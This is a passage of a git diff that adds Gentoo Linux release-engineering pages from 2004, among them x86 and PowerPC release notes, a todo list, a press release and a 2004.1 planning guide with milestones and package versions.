+			<li>pcmcia-cs doesn't work (init-script broken)</li>
+			<li>2.6-series kernel left off the CD (causes too many Problems at the moment)</li>
+		</ul>
+		</p>
+	</body>
+	</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/releng/release/2004.0/x86/x86-release-notes.xml b/xml/htdocs/proj/en/releng/release/2004.0/x86/x86-release-notes.xml
new file mode 100644
index 00000000..4f9fa350
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/release/2004.0/x86/x86-release-notes.xml
@@ -0,0 +1,272 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/releng/release/2004.0/x86/x86-release-notes.xml,v 1.16 2006/07/22 10:54:46 neysx Exp $ -->
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+<guide link="x86-release-notes.xml">
+<title>x86 Release Notes for Gentoo Linux 2004.0</title>
+
+<author title="Author">
+ <mail link="zhen@gentoo.org">John Davis</mail>
+</author>
+
+<author title="x86 Release Manager">
+	<mail link="beejay@gentoo.org">Benjamin Judas</mail>
+</author>
+
+<author title="Editor">
+	<mail link="dberkholz@gentoo.org">Donnie Berkholz</mail>
+</author>
+
+<abstract>
+Gentoo 2004.0 Release Notes
+</abstract>
+
+<license/>
+
+<version>1.0</version>
+<date>28 February 2004</date>
+
+<chapter>
+	<title>The Gentoo Linux Project</title>
+	<section>
+		<title>Overview</title>
+		<body>
+			<p>Gentoo Linux is a community driven project committed to producing
+			high quality opensource software. These release notes for Gentoo Linux 2004.0
+			summarize important package updates, security updates, and many other changes
+			that have happened since Gentoo Linux 1.4. </p>
+		</body>
+	</section>
+
+	<section>
+		<title>Table of Contents</title>
+		<body>
+		<ul>
+			<li>1. Overview</li>
+			<li>2. Important Changes</li>
+			<li>	2.1 Security Updates</li>
+			<li>	2.2 Errata</li>
+			<li>	2.3 Critical Package Updates</li>
+			<li>	2.4 Portage Updates</li>
+			<li>	2.5 Userland Updates</li>
+			<li>	2.6 Documentation Updates</li>
+			<li>3. Upgrading from previous versions of Gentoo Linux</li>
+		</ul>
+
+		</body>
+	</section>
+</chapter>
+
+<chapter>
+	<title>Important Changes for 2004.0</title>
+	<section>
+		<title>Security Updates</title>
+		<body>
+			<p>Gentoo Linux 2004.0 contains security updates to address GLSAs 
+			(Gentoo Linux Security Advisories) numbered 200308-01 to 200402-07.
+			</p>
+			
+			<p>Individual GLSAs can be referenced by going to
+			<c>http://www.gentoo.org/security/en/glsa/glsa-$x.xml</c>, and substituting <c>$x</c>
+			with the desired GLSA number. </p>
+			
+			<p>For more information, please consult the the gentoo-security mailing list
+			<uri link="http://news.gmane.org/gmane.linux.gentoo.security">archive</uri>. </p>
+		</body>
+	</section>
+
+	<section>
+		<title>Errata</title>
+		<body>
+			<table>
+			<tr>
+				<th>Errata</th>
+				<th>Workaround</th>
+			</tr>
+			<tr>
+				<ti>Errors at boot about not being able to umount /dev.</ti>
+				<ti>Cosmetic, will be fixed for 2004.1.</ti>
+			</tr>
+			<tr>
+				<ti>Some NForce2 based boards may not display the bootsplash
+				graphics properly.</ti>
+				<ti>Boot using the gentoo-nofb or smp-nofb kernels.</ti>
+			</tr>
+			<tr>
+				<ti><uri link="http://bugs.gentoo.org/show_bug.cgi?id=43726">Bug 43726</uri>: 
+				In the GRP-Sets, a package is only available for linux-2.4.24, but .25 is 
+				marked stable in the snapshot</ti>
+				<ti>When merging vanilla-sources, use <c>emerge =vanilla-sources-2.4.24</c> as
+				a workaround.</ti>
+			</tr>
+			<tr>
+				<ti>Harddisk is not recognized using LiveCD under VMWare.</ti>
+				<ti>Load the <c>buslogic</c> module by running 
+				the command <c>modprobe buslogic</c> as <e>root</e>.</ti>
+			</tr>
+			<tr>
+				<ti>The genkernel sources are not included on the universal-cds. This prevents a user
+				to continue with networkless installation.</ti>
+				<ti>Configure / Compile your kernel without genkernel or try <c>emerge -p --fetchonly genkernel</c>
+				to see what file would be downloaded by Portage. Try then to download that file somewhere else and
+				copy it into <c>/usr/portage/distfiles/</c> on your machine; you should now be able to install genkernel</ti>
+			</tr>
+			<tr>
+				<ti>3com 574 PCMCIA network interface cards are not supported by the kernels on the LiveCD</ti>
+				<ti>Try to install via another LiveCD (either an older Gentoo-CD or Knoppix)</ti>
+			</tr>
+			<tr>
+				<ti>pptp missing on the live-cd</ti>
+				<ti>Install also via another LiveCD (either an older Gentoo-CD or Knoppix)</ti>
+			</tr>
+			</table>
+			
+		</body>
+	</section>
+
+	<section>
+		<title>Critical Package Updates</title>
+		<body>
+			<p>Important package-versions in this release:</p>
+
+			<ul>
+				<li>gcc 3.3.2-r5</li>
+				<li>glibc 2.3.2-r9</li>
+				<li>aa-sources-2.4.23-r1</li>
+				<li>ck-sources-2.4.23-r1</li>
+				<li>development-sources-2.6.3</li>
+				<li>gaming-sources-2.4.20-r8</li>
+				<li>gentoo-dev-sources-2.6.3-r1</li>
+				<li>gentoo-sources-2.4.22-r7</li>
+				<li>grsec-sources-2.4.25.1.9.14</li>
+				<li>gs-sources-2.4.25_pre7-r2</li>
+				<li>mm-sources-2.6.3-r4</li>
+				<li>openmosix-sources-2.4.22-r4</li>
+				<li>planet-ccrma-sources-2.4.21-r5</li>
+				<li>usermode-sources-2.6.3-r1</li>
+				<li>vanilla-sources-2.4.25</li>
+				<li>win4lin-sources-2.4.23-r2</li>
+				<li>wolk-sources-4.9-r4</li>
+				<li>xfs-sources-2.4.24-r3</li>
+				<li>Portage 2.0.50-r1</li>
+				<li>XFree86 4.3.0-r5</li>
+				<li>KDE 3.2.0</li>
+				<li>GNOME 2.4.2</li>
+				<li>XFCE4 4.0.1</li>
+			</ul>
+
+			<p>Coreutils is now available in Version 5.0.91-r4 with ACL
+			patches.</p>
+		</body>
+	</section>
+
+	<section>
+		<title>Portage Updates</title>
+		<body>
+			<p>The Portage version included in this release is 2.0.50-r1 and
+			the <uri link="http://www.gentoo.org/cgi-bin/viewcvs.cgi/portage/ChangeLog?root=gentoo-src">ChangeLog</uri>
+			can be found via our online CVS repository.</p>
+		</body>
+	</section>
+
+	<section>
+		<title>Userland Updates</title>
+		<body>
+			<ul>
+				<li>Genkernel has been updated. Its behaviour is different
+				to previous versions in previous releases.</li>
+				<li>Gentoo Linux 2004.0 is fully compatible with Linux kernel 2.6.
+				To use kernel 2.6, just <c>emerge gentoo-dev-sources</c>. </li>
+				<li>Catalyst, the Gentoo Release Metatool, is stable in Portage as version
+				1.0.2. To use Catalyst, simply <c>emerge catalyst</c>. </li>
+			</ul>
+		</body>
+	</section>
+
+	<section>
+		<title>Documentation Updates</title>
+		<body>
+			<p>
+			Gentoo Linux 2004.0 on deprecates all single arch installation manuals in favor
+			of the <uri link="http://www.gentoo.org/doc/en/handbook/handbook.xml">Gentoo Linux Handbook</uri>.
+			The Gentoo Linux Handbook offers the most up-to-date information on all aspects of the
+			Gentoo Linux installation process.
+			</p>
+		</body>
+	</section>
+	
+</chapter>
+
+<chapter>
+	<title>Upgrading and Installation of Gentoo Linux 2004.0</title>
+	<section>
+		<title>Installing Gentoo Linux 2004.0</title>
+		<body>
+			<p>The entire Gentoo Linux installation process is documented 
+			in the <uri link="http://www.gentoo.org/doc/en/handbook/handbook.xml">Gentoo Handbook</uri>. </p>
+			
+			<p>Each architecture offers three LiveCDs. The first one being a universal
+			bootable LiveCD which can be used to install with or without an Internet connection.
+			The second LiveCD is a non-bootable subarch-optimized Gentoo Reference Platform (GRP)
+			LiveCD which contains precompiled binaries of popular
+			programs such as XFree86, KDE, and GNOME. The third LiveCD is a bootable minimal LiveCD
+			that is smaller in size and includes only the basics needed to simply boot a machine.</p>
+			
+			<p>At minimum, the universal or minimal LiveCD is required to boot the machine and install Gentoo.
+			The universal LiveCD requires an Internet connection to install from a stage1
+			installation tarball, but does not require an Internet connection to install
+			from a stage3 installation tarball. The minimal LiveCD requires an Internet connection
+			to install Gentoo Linux.</p>
+
+			<p>There are several kernels to choose from when using a Gentoo LiveCD to boot your
+			machine. The two main choices, the 2.4.24 based <c>gentoo</c> kernel and the 2.6.1 based <c>smp</c> kernel
+			will boot the machine into either uniprocessor or multiprocessor (SMP) mode, respectively.
+			The other two options, <c>gentoo-nofb</c> and <c>smp-nofb</c> boot the machine into uniprocessor
+			or multiprocessor mode without console framebuffer support. Press "F1" at the boot
+			prompt to choose which kernel to boot into.</p>
+
+			<p>The LiveCDs are located on the mirrors as follows: </p>
+			<table>
+				<tr>
+					<th>LiveCD Description</th>
+					<th>Location on Mirrors</th>
+				</tr>
+				<tr>
+					<ti>Universal bootable LiveCD</ti>
+					<ti>/releases/x86/2004.0/livecd/universal/install-x86-universal-2004.0.iso</ti>
+				</tr>
+				<tr>
+					<ti>Minimal bootable LiveCD</ti>
+					<ti>/releases/x86/2004.0/livecd/universal/install-x86-minimal-2004.0.iso</ti>
+				</tr>
+				<tr>
+					<ti>Non-bootable GRP LiveCD</ti>
+					<ti>/releases/x86/2004.0/livecd/$subarch/packages-$subarch-2004.0.iso</ti>
+				</tr>
+			</table>
+		</body>
+	</section>
+	<section>
+		<title>Upgrading to Gentoo Linux 2004.0</title>
+		<body>
+			<p>
+			If you already have a working installation of Gentoo Linux (Version
+			1.4) there is no need to reinstall. You will automatically get
+			Gentoo 2004.0 if you sync your Portage tree and run
+			<c>emerge --update world</c>. If you still have an installation
+			with a Gentoo 1.2 profile it might make sense -- in some cases -- 
+			that you do a new installation.</p>
+			<p>
+			There is also the possibility to update your system to a 1.4 
+			profile from which you -- as already stated -- can easily get to
+			Gentoo 2004.0. This update includes recompiling of glibc and some
+			essential system packages; it will take a very long time (possibly
+			longer as a complete re-installation) and it might also fail. So if
+			you still have an installation with a Gentoo 1.2 profile, it's
+			your decision whether you update or reinstall.
+			</p>
+		</body>
+	</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/releng/release/2004.0/x86/x86-todo-2004.1.xml b/xml/htdocs/proj/en/releng/release/2004.0/x86/x86-todo-2004.1.xml
new file mode 100644
index 00000000..4010dfe9
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/release/2004.0/x86/x86-todo-2004.1.xml
@@ -0,0 +1,57 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+
+<guide link="/proj/en/releng/release/2004.0/x86/x86-todo-2004.1.xml">
+<title>Bugs for 2004.0</title>
+
+<author title="Author">
+  <mail link="beejay@gentoo.org">Benjamin Judas</mail>
+</author>
+
+<abstract>
+	This is a TODO-List based on all bugs that were encountered in the testing phase for 2004.0
+	and after the release. See also the release notes for 2004.0
+</abstract>
+
+<license/>
+
+<version>0.1</version>
+<date>19/03/04</date>
+
+<chapter>
+	<title>Todo-List</title>
+
+	<section>
+	<title>This needs to be done</title>
+	<body>
+		<p>
+		<ul>
+			<li>
+				the do*-Boot-parameters need to be fixed. This has to be done in Genkernel
+			</li>
+			<li>
+				Instead of merging 3rd-Party-modules onto the fs of the CD, they should be moved
+				into the initrd.
+			</li>
+			<li>
+				catalyst needs to set a timezone before compiling kernels - otherwise <e>uname -v</e> won't work
+			</li>
+			<li>
+				<b>communication between releng and doc</b> : My suggestion would be (well, that's what I will do ;) ) to
+				send quick reports to Swift to guarantee that handbook and release fit together.
+			</li>
+			<li>
+				mdadm needs to be put onto the livecd
+			</li>
+			<li>
+				3com-574 NICs should be supported by the kernels on the CD
+			</li>
+			</ul>
+		</p>
+	</body>
+	</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/releng/release/2004.1/2004.1-press-release.txt b/xml/htdocs/proj/en/releng/release/2004.1/2004.1-press-release.txt
new file mode 100644
index 00000000..6245adda
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/release/2004.1/2004.1-press-release.txt
@@ -0,0 +1,37 @@
+For immediate release:
+
+Gentoo Linux announces Gentoo Linux 2004.1
+
+The Gentoo Linux Release Engineering team is proud to announce the release
+of Gentoo Linux 2004.1. Please consult our mirror index [1] for download
+locations and the Gentoo Linux Installation Handbook [2] for detailed installation
+instructions.  Support for Gentoo Linux 2004.1 can be found through our
+user community by way of the Gentoo Forums [3], IRC [4], and various
+community mailing-lists [5]. Release notes for each architecture
+can be found linked from the Gentoo Linux Release Engineering project page
+[6].
+
+Gentoo Linux 2004.1 highlights many bugfixes that enhance the usability
+and quality of all the release components. Much work has been done to improve
+the overall quality of the release, such as providing GPG signatures for security
+and online listings of what files are included in the installation stages,
+PackageCDs, and LiveCDs for each architecture. Additionally, Catalyst v1.0.7 [7],
+the Gentoo Linux release meta-tool, has undergone numerous improvements that have
+solidified its codebase.
+
+Pre-packaged Gentoo Linux CD sets as well as well as an easy to use donation
+system are available through the Gentoo Linux store [8]. 
+
+For more information, please contact the Gentoo Linux Release Engineering team
+at releng@gentoo.org. Thank you for choosing Gentoo Linux!
+
+References:
+
+1. http://www.gentoo.org/main/en/mirrors.xml
+2. http://www.gentoo.org/doc/en/handbook/index.xml
+3. http://forums.gentoo.org
+4. http://www.gentoo.org/main/en/irc.xml
+5. http://www.gentoo.org/main/en/lists.xml
+6. http://www.gentoo.org/proj/en/releng
+7. http://www.gentoo.org/proj/en/releng/catalyst
+8. http://store.gentoo.org
diff --git a/xml/htdocs/proj/en/releng/release/2004.1/2004.1.xml b/xml/htdocs/proj/en/releng/release/2004.1/2004.1.xml
new file mode 100644
index 00000000..43853b36
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/release/2004.1/2004.1.xml
@@ -0,0 +1,207 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/releng/release/2004.1/2004.1.xml,v 1.2 2005/12/01 16:23:49 wolf31o2 Exp $ -->
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+
+
+<guide link="2004.1.xml">
+<title>2004.1 Information Guide</title>
+
+<author title="Author">
+  <mail link="zhen@gentoo.org">John Davis</mail>
+</author>
+
+<abstract>
+	This guide serves as the definitive source for all 2004.1 information.
+</abstract>
+
+<license/>
+
+<version>1.0</version>
+<date>24 April 2004</date>
+
+<chapter>
+	<title>Introduction</title>
+	<section>
+		<title>Main Goals</title>
+		<body>
+		<p>Compared to earlier releases, 2004.0 went very well, but it surely
+		was not perfect. There were some key areas that could have been more
+		efficient, such as infrastructure management, communication from releng
+		regarding release guidelines, and a better understanding of what constitutes
+		a release. 2004.1 is going to put a polish coat on our current product
+		by addressing all of these issues. Although not
+		publicly referred to as such, 2004.1 is going to be a maintenance release
+		on 2004.0. The main goal for 2004.1 will be to fix all of the bugs
+		that were encountered with 2004.0. All other goals are secondary. </p>
+		
+		<p>2004.1 will complete the following goals: </p>
+		<ul>
+			<li>Clear and concise guidelines will be in place so that the
+			release goes much more smoothly and enjoyably.</li>
+			<li>A better use of infrastructure by revamping the current way releases
+			are coordinated to be put on the mirrors.</li>
+			<li>Catalyst enhancements and bugfixes.</li>
+			<li>Better communication from releng to the arch release coordinators,
+			and vice-a-versa.</li>
+			<li>Internet based GRP for Portage's binary download and install functionality.</li>
+			<li>Completion of all items on the
+			<uri link="/proj/en/releng/docs/feature-request.xml">Feature Request</uri> list.</li>
+		</ul>
+		</body>
+	</section>
+</chapter>
+
+<chapter>
+	<title>2004.1 Specifics</title>
+	<section>
+		<title>Contacts and Dates</title>
+		<body>
+		<p>The point of contact for all inquiries regarding releng
+		operations will be <mail link="zhen@gentoo.org">John Davis (zhen)</mail>.
+		The fallback contact will be <mail link="drobbins@gentoo.org">Daniel Robbins (drobbins)</mail>.</p>
+		<p>For anything documentation related, please contact the releng
+		Gentoo Documentation Project (GDP) liason, <mail link="swift@gentoo.org">Sven Vermeulen (swift)</mail>.</p>
+
+		<p>Dates and milestones for 2004.1 are as follows: </p>
+
+		<table>
+			<tr>
+				<th>Milestone</th>
+				<th>Description</th>
+				<th>Deadline</th>
+				<th>Status</th>
+			</tr>
+			<tr>
+				<ti>Release ready version of catalyst ready</ti>
+				<ti>Catalyst 1.0.5 will be stable in Portage, ready
+				to build the release.</ti>
+				<ti>April 1st</ti>
+				<ti>Complete</ti>
+			</tr>
+			<tr>
+				<ti>Preliminary build is complete</ti>
+				<ti>Release components are built and ready for testing</ti>
+				<ti>April 11th</ti>
+				<ti>Complete</ti>
+			</tr>
+			<tr>
+				<ti>Release components are on the release coordinator's
+				devspace (dev.gentoo.org)</ti>
+				<ti>All release components must be available for releng
+				to do final QA on</ti>
+				<ti>April 18th</ti>
+				<ti>Complete</ti>
+			</tr>
+			<tr>
+				<ti>Mirrors are staged</ti>
+				<ti>Releng will stage the mirrors</ti>
+				<ti>April 22nd</ti>
+				<ti>Complete</ti>
+			</tr>
+			<tr>
+				<ti>2004.1 Release</ti>
+				<ti>2004.1 is publically released</ti>
+				<ti>April 28th</ti>
+				<ti>Complete</ti>
+			</tr>
+		</table>
+
+		</body>
+	</section>
+
+	<section>
+		<title>Feature Request List</title>
+		<body>
+		<p>A feature request list for 2004.1 is available
+		<uri link="/proj/en/releng/docs/feature-request.xml">here</uri>. </p>
+		<p>To request a new feature, please contact the Release Operations Lead,
+		who is currently <mail link="zhen@gentoo.org">zhen</mail>.
+		</p>
+		</body>
+	</section>
+	
+	<section>
+		<title>Architectures Releasing</title>
+		<body>
+		<p>Tentatively, the following architectures are releasing 2004.1: </p>
+		
+		<table>
+			<tr>
+				<th>Architecture</th>
+				<th>Subarch(es)</th>
+				<th>Expected Components for 2004.1</th>
+				<th>Release Coordinator(s)</th>
+			</tr>
+			<tr>
+				<ti>x86</ti>
+				<ti>x86, athlon-xp, pentium3, pentium4</ti>
+				<ti>LiveCDs, stages, GRP, Release Notes</ti>
+				<ti>beejay, seemant</ti>
+			</tr>
+			<tr>
+				<ti>amd64</ti>
+				<ti>amd64</ti>
+				<ti>LiveCDs, stages, GRP, Release Notes</ti>
+				<ti>avenj, jhuebel</ti>
+			</tr>
+			<tr>
+				<ti>ppc</ti>
+				<ti>G3, G4, G5</ti>
+				<ti>LiveCDs, stages, GRP, Release Notes</ti>
+				<ti>pvdabeel</ti>
+			</tr>
+			<tr>
+				<ti>sparc</ti>
+				<ti>sparc32, sparc64</ti>
+				<ti>LiveCDs, stages, GRP, Release Notes</ti>
+				<ti>weeve, gustavoz</ti>
+			</tr>
+			<tr>
+				<ti>mips</ti>
+				<ti>all supported sub-architectures</ti>
+				<ti>Netboot install, stages, GRP, Release Notes</ti>
+				<ti>kumba</ti>
+			</tr>
+		</table>
+
+		<p>If information regarding a specific arch is wrong or has been omitted, please
+		contact the release operations manager.</p>
+		</body>
+	</section>
+
+	<section>
+		<title>Critical Packages and Files Used in 2004.1</title>
+		<body>
+		<p>The following critical package versions are suggested by releng
+		in order to try and reduce the confusion and stress level by promoting
+		a unified and stable core set of critical packages. This package list is
+		subject to change as QA uncovers bugs which are in turned addressed and fixed.</p>
+
+		<table>
+			<tr>
+				<th>Package Name</th>
+				<th>Version</th>
+				<th>Architecture</th>
+			</tr>
+			<tr>
+				<ti>coreutils</ti>
+				<ti>coreutils-5.2.0</ti>
+				<ti>All</ti>
+			</tr>
+			<tr>
+				<ti>baselayout</ti>
+				<ti>baselayout-1.8.6.13</ti>
+				<ti>All</ti>
+			</tr>
+			<tr>
+				<ti>bootsplash</ti>
+				<ti>0.6-r11</ti>
+				<ti>x86, AMD64</ti>
+			</tr>
+		</table>
+		</body>
+	</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/en/releng/release/2004.1/ppc-release-notes.xml b/xml/htdocs/proj/en/releng/release/2004.1/ppc-release-notes.xml
new file mode 100644
index 00000000..5296c1f3
--- /dev/null
+++ b/xml/htdocs/proj/en/releng/release/2004.1/ppc-release-notes.xml
@@ -0,0 +1,1210 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/en/releng/release/2004.1/ppc-release-notes.xml,v 1.1 2004/04/28 00:45:24 zhen Exp $ -->
+<!DOCTYPE guide SYSTEM "http://www.gentoo.org/dtd/guide.dtd">
+
+<guide link="ppc-release-notes.xml">
+<title>PowerPC Release Notes for Gentoo Linux 2004.1</title>
+
+<author title="Author">
+ <mail link="pvdabeel@gentoo.org">Pieter van den Abeele</mail>
+</author>
+
+<author title="Gentoo Release Coordinator">
+ <mail link="zhen@gentoo.org">John Davis</mail>
+</author>
+
+<author title="Gentoo PPC Release Manager">
+	<mail link="pvdabeel@gentoo.org">Pieter van den Abeele</mail>
+</author>
+
+<abstract>
+Gentoo PPC Release Notes
+</abstract>
+
+<license/>
+
+<version>2004.1</version>
+<date>20040412</date>
+
+<chapter>
+	<title>The Gentoo Linux Project</title>
+	<section>
+		<title>Overview</title>
+		<body>
+			<p>Gentoo Linux is a community driven project commited to producing
+			high quality opensource software. These release notes for Gentoo Linux 2004.1
+			summarize important package updates, security updates, and many other changes
+			that have happened since the last release up until 2004.1. </p>
+		</body>
+	</section>
+
+	<section>
+		<title>Table of Contents</title>
+		<body>
+		<ul>
+			<li>1. Overview</li>
+			<li>2. Important Changes</li>
+			<li>	2.1 Security Updates</li>
+			<li>	2.2 Errata</li>
+			<li>    2.3 Machine compatibility</li>
+			<li>	2.4 Critical Package Updates</li>
+			<li>	2.5 Portage Updates</li>
+			<li>	2.6 Userland Updates</li>
+			<li>	2.7 Documentation Updates</li>
+			<li>3. Upgrading from previous versions of Gentoo Linux</li>
+		</ul>
+
+		</body>
+	</section>
+</chapter>
+
+<chapter>
+	<title>Important Changes for 2004.1</title>
+	<section>
+		<title>Security Updates</title>
+		<body>
+			<p>
+				Gentoo Linux 2004.1 contains security updates to address GLSAs (Gentoo Linux Security Advisories) numbered 200308-01 to 200404-12.
+				Individual GLSAs are listed below:<br/>
+				
+				Individual GLSAs can be referenced by going to  http://www.gentoo.org/security/en/glsa/glsa-&lt;number&gt;.xml, and substituting &lt;number&gt;  
+				with the desired GLSA number.<br/>
+
+				For more information, please consult the the gentoo-security mailing list <uri link="http://news.gmane.org/gmane.linux.gentoo.security">archive</uri>.
+			</p>
+		</body>
+	</section>
+
+	<section>
+		<title>Errata</title>
+		<body>
+			<p>None reported yet.</p>
+		</body>
+	</section>
+
+	<section>
+		<title>Machine compatibility</title>
+		<body>
+		<p>
+		This 32bit release can be used on 32bit and 64bit machines with IBM or motorola PowerPC or POWER microprocessors, 
+		including but not limited to the machines built by Apple Computing. The prebuilt packages, stages and sources  
+		can be used in combination with either a 32bit or a 64bit kernel. As of 2004.1 the ppc livecd is fully Pegasos
+		compatible right out of the box.</p>
+		<p>
+		Also provided are an experimental ppc64 livecd and ppc64 stages, featuring a generic but full 64bit environment, 
+		for G5 computers. Also provided are G5 optimized, experimental, 32bit stages stages. 64bit optimized stages for
+		both POWER and POWERPC are scheduled for 2004.2.
+		</p>
+		<p>
+		The following is a list of machines which are not entirely compatible with our current cd boot configuration.</p>
+		<ul>
+		<li>Oldworld Apple systems may require a different bootloader (BootX). Please contact Gentoo/PPC developer
+		<mail link="trance@gentoo.org">Kevyn Shortell</mail> for help setting up this bootloader on your Mac.</li>
+		<li>In addition to the above, oldworld nubus systems also require a different kernel.</li>
+		</ul>
+	
+		</body>
+	</section>
+
+	<section>
+		<title>Critical Package Updates</title>
+		<body>
+		<p>Ebuilds used to realize the ppc 2004.1 system profile (stage1 - stage2 - stage3).</p>
+		<ul>
+		
+<li>sys-kernel/linux-headers-2.4.22
+<br/>Linux  headers from kernel.org [ http://www.kernel.org/ http://www.gentoo.org/ ]</li><li>
+sys-devel/binutils-2.14.90.0.6-r6
+<br/>Tools necessary to build programs [ http://sources.redhat.com/binutils/ ]</li><li>
+sys-devel/gcc-3.2.3-r4
+<br/>The GNU Compiler Collection.  Includes C/C++ and java compilers [ http://www.gnu.org/software/gcc/gcc.html ]</li><li>
+sys-devel/gcc-config-1.3.4
+<br/>Utility to change the gcc compiler being used. [ http://www.gentoo.org/ ]</li><li>
+sys-devel/libtool-1.4.3-r4
+<br/>A shared library tool for developers [ http://www.gnu.org/software/libtool/libtool.html ]</li><li>
+sys-devel/gettext-0.12.1
+<br/>GNU locale utilities [ http://www.gnu.org/software/gettext/gettext.html ]</li><li>
+sys-devel/patch-2.5.9
+<br/>Utility to apply diffs to files [ http://www.gnu.org/software/patch/patch.html ]</li><li>
+sys-devel/gnuconfig-20030708
+<br/>Updated config.sub and config.guess file from GNU [ ftp://ftp.gnu.org/pub/gnu/config ]</li><li>
+sys-devel/m4-1.4-r1
+<br/>GNU macro processor [ http://www.gnu.org/software/m4/m4.html ]</li><li>
+sys-devel/bc-1.06-r5
+<br/>Handy console-based calculator utility [ http://www.gnu.org/software/bc/bc.html ]</li><li>
+sys-devel/autoconf-2.58-r1
+<br/>Used to create autoconfiguration files [ http://www.gnu.org/software/autoconf/autoconf.html ]</li><li>
+sys-devel/automake-1.8.3
+<br/>Used to generate Makefile.in from Makefile.am [ http://www.gnu.org/software/automake/automake.html ]</li><li>
+sys-devel/bison-1.35
+<br/>A yacc-compatible parser generator [ http://www.gnu.org/software/bison/bison.html ]</li><li>
+sys-devel/make-3.80
+<br/>Standard tool to compile source trees [ http://www.gnu.org/software/make/make.html ]</li><li>
+sys-devel/flex-2.5.4a-r5
+<br/>GNU lexical analyser generator [ http://lex.sourceforge.net/ ]</li><li>
+sys-apps/baselayout-1.8.6.13
+<br/>Base layout for Gentoo Linux filesystem (incl. initscripts and sysvinit) [ http://www.gentoo.org/ ]</li><li>
+sys-apps/texinfo-4.6
+<br/>The GNU info program and utilities [ http://www.gnu.org/software/texinfo/ ]</li><li>
+sys-apps/sed-4.0.7
+<br/>Super-useful stream editor [ http://www.gnu.org/software/sed/sed.html ]</li><li>
+sys-apps/portage-2.0.50-r5
+<br/>Portage ports system [ http://www.gentoo.org ]</li><li>
+sys-apps/eject-2.0.12-r1
+<br/>A command to eject a disc from the CD-ROM drive [ http://eject.sourceforge.net/ ]</li><li>
+sys-apps/attr-2.4.7-r1
+<br/>xfs extended attributes tools [ http://oss.sgi.com/projects/xfs ]</li><li>
+sys-apps/acl-2.2.13-r2
+<br/>Access control list utilities, libraries and headers [ http://oss.sgi.com/projects/xfs ]</li><li>
+sys-apps/debianutils-1.16.7-r4
+<br/>A selection of tools from Debian [ http://packages.debian.org/unstable/base/debianutils.html ]</li><li>
+sys-apps/coreutils-5.0.91-r2
+<br/>Standard GNU file utilities (chmod, cp, dd, dir, ls...), text utilities (sort, tr, head, wc..), and shell utilities (whoami, who,...) [ http://www.gnu.org/software/coreutils/ ]</li><li>
+sys-apps/ed-0.2-r3
+<br/>Your basic line editor [ http://www.gnu.org/software/ed/ ]</li><li>
+sys-apps/less-381
+<br/>Excellent text file viewer [ http://www.greenwoodsoftware.com/ ]</li><li>
+sys-apps/diffutils-2.8.4-r3
+<br/>Tools to make diffs and compare files [ http://www.gnu.org/software/diffutils/diffutils.html ]</li><li>
+sys-apps/findutils-4.1.20-r1
+<br/>GNU utilities to find files [ http://www.gnu.org/software/findutils/findutils.html ]</li><li>
+sys-apps/fbset-2.1
+<br/>A utility to set the framebuffer videomode [ http://linux-fbdev.org/ ]</li><li>
+sys-apps/file-4.02
+<br/>Program to identify a file's format by scanning binary data for patterns [ ftp://ftp.astron.com/pub/file/ ]</li><li>
+sys-apps/cronbase-0.2.1-r3
+<br/>The is the base for all cron ebuilds. [ http://www.gentoo.org/ ]</li><li>
+sys-apps/gawk-3.1.3-r1
+<br/>GNU awk pattern-matching language [ http://www.gnu.org/software/gawk/gawk.html ]</li><li>
+sys-apps/grep-2.5.1-r1
+<br/>GNU regular expression matcher [ http://www.gnu.org/software/grep/grep.html ]</li><li>
+sys-apps/groff-1.18.1-r4
+<br/>Text formatter used for man pages [ http://www.gnu.org/software/groff/groff.html ]</li><li>
+sys-apps/mac-fdisk-0.1
+<br/>Mac/PowerMac disk partitinoing utility [ ftp://ftp.mklinux.apple.com/pub/Other_Tools/ ]</li><li>
+sys-apps/man-1.5l-r6
+<br/>Standard commands to read man pages [ http://freshmeat.net/projects/man/ ]</li><li>
+sys-apps/hdparm-5.4
+<br/>Utility to change hard drive performance parameters [ http://www.ibiblio.org/pub/Linux/system/hardware/ ]</li><li>
+sys-apps/kbd-1.08-r5
+<br/>Keyboard and console utilities [ http://freshmeat.net/projects/kbd/ ]</li><li>
+sys-apps/net-tools-1.60-r7
+<br/>Standard Linux networking tools [ http://sites.inka.de/lina/linux/NetTools/ ]</li><li>
+sys-apps/man-pages-1.66
+<br/>A somewhat comprehensive collection of Linux man pages [ http://www.win.tue.nl/~aeb/linux/man/ ]</li><li>
+sys-apps/setserial-2.17-r2
+<br/>Configure your serial ports with it [ http://setserial.sourceforge.net/ ]</li><li>
+sys-apps/miscfiles-1.3
+<br/>Miscellaneous files [ http://www.gnu.org/directory/miscfiles.html ]</li><li>
+sys-apps/shadow-4.0.3-r9
+<br/>Utilities to deal with user accounts [ http://shadow.pld.org.pl/ ]</li><li>
+sys-apps/pam-login-3.14
+<br/>Based on the sources from util-linux, with added pam and shadow features [ http://www.thkukuk.de/pam/pam_login/ ]</li><li>
+sys-apps/procps-3.1.15
+<br/>Standard informational utilities and process-handling tools -ps top tload snice vmstat free w watch uptime pmap skill pkill kill pgrep sysctl [ http://procps.sourceforge.net/ ]</li><li>
+sys-apps/psmisc-21.2-r4
+<br/>A set of tools that use the proc filesystem [ http://psmisc.sourceforge.net/ ]</li><li>
+sys-apps/util-linux-2.12-r3
+<br/>Various useful Linux utilities [ http://www.kernel.org/pub/linux/utils/util-linux/ ]</li><li>
+sys-apps/slocate-2.7-r2
